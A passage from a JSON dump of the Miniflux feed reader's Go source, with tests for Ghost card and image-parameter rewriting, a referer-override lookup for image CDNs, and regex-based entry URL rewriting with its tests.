Author</span>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"kg-bookmark-thumbnail\">\n\t\t\t\t\t<img src=\"https://example.org/article-image.jpg\" alt=\"\" onerror=\"this.style.display = 'none'\">\n\t\t\t\t</div>\n\t\t\t</a>\n\t\t</figure>`,\n\t}\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<ul><li><a href=\"https://example.org/article1\">Example Article 1 - Example</a></li><li><a href=\"https://example.org/article2\">Example Article 2 - Example</a></li></ul>`,\n\t}\n\tApplyContentRewriteRules(testEntry, `fix_ghost_cards`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestFixGhostCardMultipleSplit(t *testing.T) {\n\ttestEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `A title`,\n\t\tContent: `<figure class=\"kg-card kg-bookmark-card\">\n\t\t\t<a class=\"kg-bookmark-container\" href=\"https://example.org/article1\">\n\t\t\t\t<div class=\"kg-bookmark-content\">\n\t\t\t\t\t<div class=\"kg-bookmark-title\">Example Article 1 - Example</div>\n\t\t\t\t\t<div class=\"kg-bookmark-description\">Lorem ipsum odor amet, consectetuer adipiscing elit. Pretium magnis luctus ligula conubia quam, donec orci vehicula efficitur...</div>\n\t\t\t\t\t<div class=\"kg-bookmark-metadata\">\n\t\t\t\t\t\t<img class=\"kg-bookmark-icon\" src=\"https://example.org/favicon.ico\" alt=\"\">\n\t\t\t\t\t\t<span class=\"kg-bookmark-author\">Example</span>\n\t\t\t\t\t\t<span class=\"kg-bookmark-publisher\">Test Author</span>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"kg-bookmark-thumbnail\">\n\t\t\t\t\t<img src=\"https://example.org/article-image.jpg\" alt=\"\" onerror=\"this.style.display = 'none'\">\n\t\t\t\t</div>\n\t\t\t</a>\n\t\t</figure>\n\t\t<p>This separates the two cards</p>\n\t\t<figure class=\"kg-card kg-bookmark-card\">\n\t\t\t<a class=\"kg-bookmark-container\" href=\"https://example.org/article2\">\n\t\t\t\t<div class=\"kg-bookmark-content\">\n\t\t\t\t\t<div class=\"kg-bookmark-title\">Example Article 2 - Example</div>\n\t\t\t\t\t<div class=\"kg-bookmark-description\">Lorem ipsum odor amet, consectetuer adipiscing elit. Pretium magnis luctus ligula conubia quam, donec orci vehicula efficitur...</div>\n\t\t\t\t\t<div class=\"kg-bookmark-metadata\">\n\t\t\t\t\t\t<img class=\"kg-bookmark-icon\" src=\"https://example.org/favicon.ico\" alt=\"\">\n\t\t\t\t\t\t<span class=\"kg-bookmark-author\">Example</span>\n\t\t\t\t\t\t<span class=\"kg-bookmark-publisher\">Test Author</span>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"kg-bookmark-thumbnail\">\n\t\t\t\t\t<img src=\"https://example.org/article-image.jpg\" alt=\"\" onerror=\"this.style.display = 'none'\">\n\t\t\t\t</div>\n\t\t\t</a>\n\t\t</figure>`,\n\t}\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `A title`,\n\t\tContent: `<a href=\"https://example.org/article1\">Example Article 1 - Example</a>\n\t\t<p>This separates the two cards</p>\n\t\t<a href=\"https://example.org/article2\">Example Article 2 - Example</a>`,\n\t}\n\tApplyContentRewriteRules(testEntry, `fix_ghost_cards`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestStripImageQueryParams(t *testing.T) {\n\ttestEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `News Article Title`,\n\t\tContent: `\n\t\t<article>\n\t\t\t<p>Article content with images having query parameters:</p>\n\t\t\t<img src=\"https://example.org/images/image1.jpg?width=200&height=113&q=80&blur=90\" alt=\"Image with params\">\n\t\t\t<img src=\"https://example.org/images/image2.jpg?width=800&height=600&q=85\" alt=\"Another image with params\">\n\n\t\t\t<p>More images with various query parameters:</p>\n\t\t\t<img src=\"https://example.org/image123.jpg?blur=50&size=small&format=webp\" alt=\"Complex query params\">\n\t\t\t<img src=\"https://example.org/image123.jpg?size=large&quality=95&cache=123\" alt=\"Different params\">\n\n\t\t\t<p>Image without query parameters:</p>\n\t\t\t<img src=\"https://example.org/single-image.jpg\" alt=\"Clean image\">\n\n\t\t\t<p>Images with various other params:</p>\n\t\t\t<img src=\"https://example.org/normal1.jpg?width=300&format=jpg\" alt=\"Normal 1\">\n\t\t\t<img src=\"https://example.org/normal1.jpg?width=600&quality=high\" alt=\"Normal 2\">\n\t\t</article>`,\n\t}\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `News Article Title`,\n\t\tContent: `<article>\n\t\t\t<p>Article content with images having query parameters:</p>\n\t\t\t<img src=\"https://example.org/images/image1.jpg\" alt=\"Image with params\"/>\n\t\t\t<img src=\"https://example.org/images/image2.jpg?width=800&amp;height=600&amp;q=85\" alt=\"Another image with params\"/>\n\n\t\t\t<p>More images with various query parameters:</p>\n\t\t\t<img src=\"https://example.org/image123.jpg\" alt=\"Complex query params\"/>\n\t\t\t<img src=\"https://example.org/image123.jpg?size=large&amp;quality=95&amp;cache=123\" alt=\"Different params\"/>\n\n\t\t\t<p>Image without query parameters:</p>\n\t\t\t<img src=\"https://example.org/single-image.jpg\" alt=\"Clean image\"/>\n\n\t\t\t<p>Images with various other params:</p>\n\t\t\t<img src=\"https://example.org/normal1.jpg?width=300&amp;format=jpg\" alt=\"Normal 1\"/>\n\t\t\t<img src=\"https://example.org/normal1.jpg?width=600&amp;quality=high\" alt=\"Normal 2\"/>\n\t\t</article>`,\n\t}\n\tApplyContentRewriteRules(testEntry, `remove_img_blur_params`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestStripImageQueryParamsNoChanges(t *testing.T) {\n\ttestEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `Article Without Images`,\n\t\tContent: `<p>No images here:</p>\n\t\t<div>Just some text content</div>\n\t\t<a href=\"https://example.org\">A link</a>`,\n\t}\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `Article Without Images`,\n\t\tContent: `<p>No images here:</p>\n\t\t<div>Just some text content</div>\n\t\t<a href=\"https://example.org\">A link</a>`,\n\t}\n\tApplyContentRewriteRules(testEntry, `remove_img_blur_params`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestStripImageQueryParamsEdgeCases(t *testing.T) {\n\ttestEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `Edge Cases`,\n\t\tContent: `\n\t\t<p>Edge cases for image query parameter stripping:</p>\n\n\t\t<!-- Various query parameters -->\n\t\t<img src=\"https://example.org/image1.jpg?blur=80&width=300\" alt=\"Multiple params\">\n\n\t\t<!-- Complex query parameters -->\n\t\t<img src=\"https://example.org/image2.jpg?BLUR=60&format=webp&cache=123\" alt=\"Complex params\">\n\t\t<img src=\"https://example.org/image3.jpg?quality=high&version=2\" alt=\"Other params\">\n\n\t\t<!-- Query params in middle of string -->\n\t\t<img src=\"https://example.org/image4.jpg?size=large&blur=30&format=webp&quality=90\" alt=\"Middle params\">\n\n\t\t<!-- Image without query params -->\n\t\t<img src=\"https://example.org/clean.jpg\" alt=\"Clean image\">\n\t\t`,\n\t}\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `Edge Cases`,\n\t\tContent: `<p>Edge cases for image query parameter stripping:</p>\n\n\t\t<!-- Various query parameters -->\n\t\t<img src=\"https://example.org/image1.jpg\" alt=\"Multiple params\"/>\n\n\t\t<!-- Complex query parameters -->\n\t\t<img src=\"https://example.org/image2.jpg?BLUR=60&amp;format=webp&amp;cache=123\" alt=\"Complex params\"/>\n\t\t<img src=\"https://example.org/image3.jpg?quality=high&amp;version=2\" alt=\"Other params\"/>\n\n\t\t<!-- Query params in middle of string -->\n\t\t<img src=\"https://example.org/image4.jpg\" alt=\"Middle params\"/>\n\n\t\t<!-- Image without query params -->\n\t\t<img src=\"https://example.org/clean.jpg\" alt=\"Clean image\"/>\n\t\t`,\n\t}\n\tApplyContentRewriteRules(testEntry, `remove_img_blur_params`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestStripImageQueryParamsSimple(t *testing.T) {\n\ttestEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `Simple Test`,\n\t\tContent: `\n\t\t<p>Testing query parameter stripping:</p>\n\n\t\t<!-- Images with various query parameters -->\n\t\t<img src=\"https://example.org/test1.jpg?blur=0&width=300\" alt=\"With blur zero\">\n\t\t<img src=\"https://example.org/test2.jpg?blur=50&width=300&format=webp\" alt=\"With blur fifty\">\n\t\t<img src=\"https://example.org/test3.jpg?width=800&quality=high\" alt=\"No blur param\">\n\t\t<img src=\"https://example.org/test4.jpg\" alt=\"No params at all\">\n\t\t`,\n\t}\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:   \"https://example.org/article\",\n\t\tTitle: `Simple Test`,\n\t\tContent: `<p>Testing query parameter stripping:</p>\n\n\t\t<!-- Images with various query parameters -->\n\t\t<img src=\"https://example.org/test1.jpg?blur=0&amp;width=300\" alt=\"With blur zero\"/>\n\t\t<img src=\"https://example.org/test2.jpg\" alt=\"With blur fifty\"/>\n\t\t<img src=\"https://example.org/test3.jpg?width=800&amp;quality=high\" alt=\"No blur param\"/>\n\t\t<img src=\"https://example.org/test4.jpg\" alt=\"No params at all\"/>\n\t\t`,\n\t}\n\tApplyContentRewriteRules(testEntry, `remove_img_blur_params`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n"
  },
  {
    "path": "internal/reader/rewrite/referer_override.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rewrite // import \"miniflux.app/v2/internal/reader/rewrite\"\n\nimport (\n\t\"net/url\"\n\t\"strings\"\n)\n\n// GetRefererForURL returns the referer for the given URL if it exists, otherwise an empty string.\nfunc GetRefererForURL(u string) string {\n\tparsedUrl, err := url.Parse(u)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\n\tswitch parsedUrl.Hostname() {\n\tcase \"appinn.com\":\n\t\treturn \"https://appinn.com\"\n\tcase \"bjp.org.cn\":\n\t\treturn \"https://bjp.org.cn\"\n\tcase \"cdnfile.sspai.com\":\n\t\treturn \"https://sspai.com\"\n\tcase \"f.video.weibocdn.com\":\n\t\treturn \"https://weibo.com\"\n\tcase \"i.pximg.net\":\n\t\treturn \"https://www.pixiv.net\"\n\tcase \"img.hellogithub.com\":\n\t\treturn \"https://hellogithub.com\"\n\tcase \"moyu.im\":\n\t\treturn \"https://i.jandan.net\"\n\tcase \"www.parkablogs.com\":\n\t\treturn \"https://www.parkablogs.com\"\n\t}\n\n\tswitch {\n\tcase strings.HasSuffix(parsedUrl.Hostname(), \".cdninstagram.com\"):\n\t\treturn \"https://www.instagram.com\"\n\tcase strings.HasSuffix(parsedUrl.Hostname(), \".moyu.im\"):\n\t\treturn \"https://i.jandan.net\"\n\tcase strings.HasSuffix(parsedUrl.Hostname(), \".sinaimg.cn\"):\n\t\treturn \"https://weibo.com\"\n\t}\n\n\treturn \"\"\n}\n"
  },
  {
    "path": "internal/reader/rewrite/referer_override_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rewrite // import \"miniflux.app/v2/internal/reader/rewrite\"\n\nimport (\n\t\"testing\"\n)\n\nfunc TestGetRefererForURL(t *testing.T) {\n\ttestCases := []struct {\n\t\tname     string\n\t\turl      string\n\t\texpected string\n\t}{\n\t\t{\n\t\t\tname:     \"Weibo Image URL\",\n\t\t\turl:      \"https://wx1.sinaimg.cn/large/example.jpg\",\n\t\t\texpected: \"https://weibo.com\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Pixiv Image URL\",\n\t\t\turl:      \"https://i.pximg.net/img-master/example.jpg\",\n\t\t\texpected: \"https://www.pixiv.net\",\n\t\t},\n\t\t{\n\t\t\tname:     \"SSPai CDN URL\",\n\t\t\turl:      \"https://cdnfile.sspai.com/example.png\",\n\t\t\texpected: \"https://sspai.com\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Instagram CDN URL\",\n\t\t\turl:      \"https://scontent-sjc3-1.cdninstagram.com/example.jpg\",\n\t\t\texpected: \"https://www.instagram.com\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Weibo Video URL\",\n\t\t\turl:      \"https://f.video.weibocdn.com/example.mp4\",\n\t\t\texpected: \"https://weibo.com\",\n\t\t},\n\t\t{\n\t\t\tname:     \"HelloGithub Image URL\",\n\t\t\turl:      \"https://img.hellogithub.com/example.png\",\n\t\t\texpected: \"https://hellogithub.com\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Park Blogs\",\n\t\t\turl:      \"https://www.parkablogs.com/sites/default/files/2025/image.jpg\",\n\t\t\texpected: \"https://www.parkablogs.com\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Non-matching URL\",\n\t\t\turl:      \"https://example.com/image.jpg\",\n\t\t\texpected: \"\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Exact hostname match\",\n\t\t\turl:      \"https://appinn.com/some/path\",\n\t\t\texpected: \"https://appinn.com\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Only hostnames starting with a dot should match as suffix\",\n\t\t\turl:      \"https://fake-appinn.com/some/path\",\n\t\t\texpected: \"\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Subdomain match with suffix\",\n\t\t\turl:      \"https://sub.moyu.im/image.png\",\n\t\t\texpected: \"https://i.jandan.net\",\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tresult := GetRefererForURL(tc.url)\n\t\t\tif result != tc.expected {\n\t\t\t\tt.Errorf(\"GetRefererForURL(%s): expected %s, got %s\",\n\t\t\t\t\ttc.url, tc.expected, result)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "internal/reader/rewrite/url_rewrite.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rewrite // import \"miniflux.app/v2/internal/reader/rewrite\"\n\nimport (\n\t\"log/slog\"\n\t\"regexp\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\nvar customReplaceRuleRegex = regexp.MustCompile(`^rewrite\\(\"([^\"]+)\"\\|\"([^\"]+)\"\\)$`)\n\nfunc RewriteEntryURL(feed *model.Feed, entry *model.Entry) string {\n\tif feed.UrlRewriteRules == \"\" {\n\t\treturn entry.URL\n\t}\n\n\tvar rewrittenURL = entry.URL\n\tparts := customReplaceRuleRegex.FindStringSubmatch(feed.UrlRewriteRules)\n\n\tif len(parts) == 3 {\n\t\tre, err := regexp.Compile(parts[1])\n\t\tif err != nil {\n\t\t\tslog.Error(\"Failed on regexp compilation\",\n\t\t\t\tslog.String(\"url_rewrite_rules\", feed.UrlRewriteRules),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t\treturn rewrittenURL\n\t\t}\n\t\trewrittenURL = re.ReplaceAllString(entry.URL, parts[2])\n\t\tslog.Debug(\"Rewriting entry URL\",\n\t\t\tslog.String(\"original_entry_url\", entry.URL),\n\t\t\tslog.String(\"rewritten_entry_url\", rewrittenURL),\n\t\t\tslog.Int64(\"feed_id\", feed.ID),\n\t\t\tslog.String(\"feed_url\", feed.FeedURL),\n\t\t)\n\t} else {\n\t\tslog.Debug(\"Cannot find search and replace terms for replace rule\",\n\t\t\tslog.String(\"original_entry_url\", entry.URL),\n\t\t\tslog.String(\"rewritten_entry_url\", rewrittenURL),\n\t\t\tslog.Int64(\"feed_id\", feed.ID),\n\t\t\tslog.String(\"feed_url\", feed.FeedURL),\n\t\t\tslog.String(\"url_rewrite_rules\", feed.UrlRewriteRules),\n\t\t)\n\t}\n\n\treturn rewrittenURL\n}\n"
  },
  {
    "path": "internal/reader/rewrite/url_rewrite_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rewrite // import \"miniflux.app/v2/internal/reader/rewrite\"\n\nimport (\n\t\"testing\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\nfunc TestRewriteEntryURL(t *testing.T) {\n\tscenarios := []struct {\n\t\tname        string\n\t\tfeed        *model.Feed\n\t\tentry       *model.Entry\n\t\texpectedURL string\n\t\tdescription string\n\t}{\n\t\t{\n\t\t\tname: \"NoRewriteRules\",\n\t\t\tfeed: &model.Feed{\n\t\t\t\tID:              1,\n\t\t\t\tFeedURL:         \"https://example.com/feed.xml\",\n\t\t\t\tUrlRewriteRules: \"\",\n\t\t\t},\n\t\t\tentry: &model.Entry{\n\t\t\t\tURL: \"https://example.com/article/123\",\n\t\t\t},\n\t\t\texpectedURL: \"https://example.com/article/123\",\n\t\t\tdescription: \"Should return original URL when no rewrite rules are specified\",\n\t\t},\n\t\t{\n\t\t\tname: \"EmptyRewriteRules\",\n\t\t\tfeed: &model.Feed{\n\t\t\t\tID:              1,\n\t\t\t\tFeedURL:         \"https://example.com/feed.xml\",\n\t\t\t\tUrlRewriteRules: \"   \",\n\t\t\t},\n\t\t\tentry: &model.Entry{\n\t\t\t\tURL: \"https://example.com/article/123\",\n\t\t\t},\n\t\t\texpectedURL: \"https://example.com/article/123\",\n\t\t\tdescription: \"Should return original URL when rewrite rules are empty/whitespace\",\n\t\t},\n\t\t{\n\t\t\tname: \"ValidRewriteRule\",\n\t\t\tfeed: &model.Feed{\n\t\t\t\tID:              1,\n\t\t\t\tFeedURL:         \"https://example.com/feed.xml\",\n\t\t\t\tUrlRewriteRules: `rewrite(\"^https://example.com/article/(.+)\"|\"https://example.com/full-article/$1\")`,\n\t\t\t},\n\t\t\tentry: &model.Entry{\n\t\t\t\tURL: \"https://example.com/article/123\",\n\t\t\t},\n\t\t\texpectedURL: \"https://example.com/full-article/123\",\n\t\t\tdescription: \"Should rewrite URL according to the regex pattern\",\n\t\t},\n\t\t{\n\t\t\tname: \"ComplexRegexRewrite\",\n\t\t\tfeed: &model.Feed{\n\t\t\t\tID:              1,\n\t\t\t\tFeedURL:         \"https://news.ycombinator.com/rss\",\n\t\t\t\tUrlRewriteRules: `rewrite(\"^https://news\\.ycombinator\\.com/item\\?id=(.+)\"|\"https://hn.algolia.com/api/v1/items/$1\")`,\n\t\t\t},\n\t\t\tentry: &model.Entry{\n\t\t\t\tURL: \"https://news.ycombinator.com/item?id=12345\",\n\t\t\t},\n\t\t\texpectedURL: \"https://hn.algolia.com/api/v1/items/12345\",\n\t\t\tdescription: \"Should handle complex regex patterns with escaped characters\",\n\t\t},\n\t\t{\n\t\t\tname: \"NoMatchingPattern\",\n\t\t\tfeed: &model.Feed{\n\t\t\t\tID:              1,\n\t\t\t\tFeedURL:         \"https://example.com/feed.xml\",\n\t\t\t\tUrlRewriteRules: `rewrite(\"^https://different.com/(.+)\"|\"https://rewritten.com/$1\")`,\n\t\t\t},\n\t\t\tentry: &model.Entry{\n\t\t\t\tURL: \"https://example.com/article/123\",\n\t\t\t},\n\t\t\texpectedURL: \"https://example.com/article/123\",\n\t\t\tdescription: \"Should return original URL when regex pattern doesn't match\",\n\t\t},\n\t\t{\n\t\t\tname: \"InvalidRegexPattern\",\n\t\t\tfeed: &model.Feed{\n\t\t\t\tID:              1,\n\t\t\t\tFeedURL:         \"https://example.com/feed.xml\",\n\t\t\t\tUrlRewriteRules: `rewrite(\"^https://example.com/[invalid\"|\"https://rewritten.com/$1\")`,\n\t\t\t},\n\t\t\tentry: &model.Entry{\n\t\t\t\tURL: \"https://example.com/article/123\",\n\t\t\t},\n\t\t\texpectedURL: \"https://example.com/article/123\",\n\t\t\tdescription: \"Should return original URL when regex pattern is invalid\",\n\t\t},\n\t\t{\n\t\t\tname: \"MalformedRewriteRule\",\n\t\t\tfeed: &model.Feed{\n\t\t\t\tID:              1,\n\t\t\t\tFeedURL:         \"https://example.com/feed.xml\",\n\t\t\t\tUrlRewriteRules: `rewrite(\"invalid format\")`,\n\t\t\t},\n\t\t\tentry: &model.Entry{\n\t\t\t\tURL: \"https://example.com/article/123\",\n\t\t\t},\n\t\t\texpectedURL: \"https://example.com/article/123\",\n\t\t\tdescription: \"Should return original URL when rewrite rule format is malformed\",\n\t\t},\n\t\t{\n\t\t\tname: \"MultipleGroups\",\n\t\t\tfeed: &model.Feed{\n\t\t\t\tID:              1,\n\t\t\t\tFeedURL:         \"https://example.com/feed.xml\",\n\t\t\t\tUrlRewriteRules: `rewrite(\"^https://example.com/([^/]+)/article/(.+)\"|\"https://example.com/full/$1/story/$2\")`,\n\t\t\t},\n\t\t\tentry: &model.Entry{\n\t\t\t\tURL: \"https://example.com/tech/article/ai-news\",\n\t\t\t},\n\t\t\texpectedURL: \"https://example.com/full/tech/story/ai-news\",\n\t\t\tdescription: \"Should handle multiple capture groups in regex\",\n\t\t},\n\t\t{\n\t\t\tname: \"URLWithSpecialCharacters\",\n\t\t\tfeed: &model.Feed{\n\t\t\t\tID:              1,\n\t\t\t\tFeedURL:         \"https://example.com/feed.xml\",\n\t\t\t\tUrlRewriteRules: `rewrite(\"^https://example.com/(.+)\"|\"https://proxy.example.com/$1\")`,\n\t\t\t},\n\t\t\tentry: &model.Entry{\n\t\t\t\tURL: \"https://example.com/article/test?param=value&other=123#section\",\n\t\t\t},\n\t\t\texpectedURL: \"https://proxy.example.com/article/test?param=value&other=123#section\",\n\t\t\tdescription: \"Should handle URLs with query parameters and fragments\",\n\t\t},\n\t\t{\n\t\t\tname: \"ReplaceWithStaticURL\",\n\t\t\tfeed: &model.Feed{\n\t\t\t\tID:              1,\n\t\t\t\tFeedURL:         \"https://example.com/feed.xml\",\n\t\t\t\tUrlRewriteRules: `rewrite(\"^https://example.com/(.+)\"|\"https://static.example.com/reader\")`,\n\t\t\t},\n\t\t\tentry: &model.Entry{\n\t\t\t\tURL: \"https://example.com/article/123\",\n\t\t\t},\n\t\t\texpectedURL: \"https://static.example.com/reader\",\n\t\t\tdescription: \"Should replace with static URL when no capture groups are used in replacement\",\n\t\t},\n\t\t{\n\t\t\tname: \"EmptyReplacementString\",\n\t\t\tfeed: &model.Feed{\n\t\t\t\tID:              1,\n\t\t\t\tFeedURL:         \"https://example.com/feed.xml\",\n\t\t\t\tUrlRewriteRules: `rewrite(\"^https://example.com/(.+)\"|\"x\")`,\n\t\t\t},\n\t\t\tentry: &model.Entry{\n\t\t\t\tURL: \"https://example.com/article/123\",\n\t\t\t},\n\t\t\texpectedURL: \"x\",\n\t\t\tdescription: \"Should replace with specified string\",\n\t\t},\n\t\t{\n\t\t\tname: \"EmptyReplacementNotSupported\",\n\t\t\tfeed: &model.Feed{\n\t\t\t\tID:              1,\n\t\t\t\tFeedURL:         \"https://example.com/feed.xml\",\n\t\t\t\tUrlRewriteRules: `rewrite(\"^https://example.com/(.+)\"|\"\")`,\n\t\t\t},\n\t\t\tentry: &model.Entry{\n\t\t\t\tURL: \"https://example.com/article/123\",\n\t\t\t},\n\t\t\texpectedURL: \"https://example.com/article/123\",\n\t\t\tdescription: \"Should return original URL when replacement is empty string (not supported by regex pattern)\",\n\t\t},\n\t\t{\n\t\t\tname: \"InvalidRewriteRuleFormat\",\n\t\t\tfeed: &model.Feed{\n\t\t\t\tID:              1,\n\t\t\t\tFeedURL:         \"https://example.com/feed.xml\",\n\t\t\t\tUrlRewriteRules: `not-a-rewrite-rule`,\n\t\t\t},\n\t\t\tentry: &model.Entry{\n\t\t\t\tURL: \"https://example.com/article/123\",\n\t\t\t},\n\t\t\texpectedURL: \"https://example.com/article/123\",\n\t\t\tdescription: \"Should return original URL when rewrite rule doesn't match expected format\",\n\t\t},\n\t}\n\n\tfor _, scenario := range scenarios {\n\t\tt.Run(scenario.name, func(t *testing.T) {\n\t\t\tresult := RewriteEntryURL(scenario.feed, scenario.entry)\n\t\t\tif result != scenario.expectedURL {\n\t\t\t\tt.Errorf(\"Expected URL %q, got %q. Description: %s\", scenario.expectedURL, result, scenario.description)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestRewriteEntryURLWithNilValues(t *testing.T) {\n\tt.Run(\"NilFeed\", func(t *testing.T) {\n\t\tentry := &model.Entry{URL: \"https://example.com/article/123\"}\n\n\t\t// This should panic or handle gracefully - let's see what happens\n\t\tdefer func() {\n\t\t\tif r := recover(); r == nil {\n\t\t\t\tt.Error(\"Expected panic when feed is nil, but function completed normally\")\n\t\t\t}\n\t\t}()\n\n\t\tRewriteEntryURL(nil, entry)\n\t})\n\n\tt.Run(\"NilEntry\", func(t *testing.T) {\n\t\tfeed := &model.Feed{\n\t\t\tID:              1,\n\t\t\tFeedURL:         \"https://example.com/feed.xml\",\n\t\t\tUrlRewriteRules: `rewrite(\"^https://example.com/(.+)\"|\"https://rewritten.com/$1\")`,\n\t\t}\n\n\t\t// This should panic or handle gracefully - let's see what happens\n\t\tdefer func() {\n\t\t\tif r := recover(); r == nil {\n\t\t\t\tt.Error(\"Expected panic when entry is nil, but function completed normally\")\n\t\t\t}\n\t\t}()\n\n\t\tRewriteEntryURL(feed, nil)\n\t})\n}\n\nfunc TestCustomReplaceRuleRegex(t *testing.T) {\n\tscenarios := []struct {\n\t\tname     string\n\t\tinput    string\n\t\texpected []string\n\t\tmatches  bool\n\t}{\n\t\t{\n\t\t\tname:     \"ValidRule\",\n\t\t\tinput:    `rewrite(\"^https://example.com/(.+)\"|\"https://rewritten.com/$1\")`,\n\t\t\texpected: []string{`rewrite(\"^https://example.com/(.+)\"|\"https://rewritten.com/$1\")`, `^https://example.com/(.+)`, `https://rewritten.com/$1`},\n\t\t\tmatches:  true,\n\t\t},\n\t\t{\n\t\t\tname:     \"ValidRuleWithEscapedCharacters\",\n\t\t\tinput:    `rewrite(\"^https://news\\\\.ycombinator\\\\.com/item\\\\?id=(.+)\"|\"https://hn.algolia.com/api/v1/items/$1\")`,\n\t\t\texpected: []string{`rewrite(\"^https://news\\\\.ycombinator\\\\.com/item\\\\?id=(.+)\"|\"https://hn.algolia.com/api/v1/items/$1\")`, `^https://news\\\\.ycombinator\\\\.com/item\\\\?id=(.+)`, `https://hn.algolia.com/api/v1/items/$1`},\n\t\t\tmatches:  true,\n\t\t},\n\t\t{\n\t\t\tname:     \"InvalidFormat\",\n\t\t\tinput:    `rewrite(\"invalid\")`,\n\t\t\texpected: nil,\n\t\t\tmatches:  false,\n\t\t},\n\t\t{\n\t\t\tname:     \"EmptyString\",\n\t\t\tinput:    ``,\n\t\t\texpected: nil,\n\t\t\tmatches:  false,\n\t\t},\n\t\t{\n\t\t\tname:     \"RandomText\",\n\t\t\tinput:    `some random text`,\n\t\t\texpected: nil,\n\t\t\tmatches:  false,\n\t\t},\n\t}\n\n\tfor _, scenario := range scenarios {\n\t\tt.Run(scenario.name, func(t *testing.T) {\n\t\t\tparts := customReplaceRuleRegex.FindStringSubmatch(scenario.input)\n\n\t\t\tif scenario.matches {\n\t\t\t\tif len(parts) < 3 {\n\t\t\t\t\tt.Errorf(\"Expected regex to match and return at least 3 parts, got %d parts: %v\", len(parts), parts)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// Check the full match and captured groups\n\t\t\t\tif parts[0] != scenario.expected[0] {\n\t\t\t\t\tt.Errorf(\"Expected full match %q, got %q\", scenario.expected[0], parts[0])\n\t\t\t\t}\n\t\t\t\tif parts[1] != scenario.expected[1] {\n\t\t\t\t\tt.Errorf(\"Expected first capture group %q, got %q\", scenario.expected[1], parts[1])\n\t\t\t\t}\n\t\t\t\tif parts[2] != scenario.expected[2] {\n\t\t\t\t\tt.Errorf(\"Expected second capture group %q, got %q\", scenario.expected[2], parts[2])\n\t\t\t\t}\n\t\t\t} else if len(parts) >= 3 {\n\t\t\t\tt.Errorf(\"Expected regex not to match, but got %d parts: %v\", len(parts), parts)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "internal/reader/rss/adapter.go",
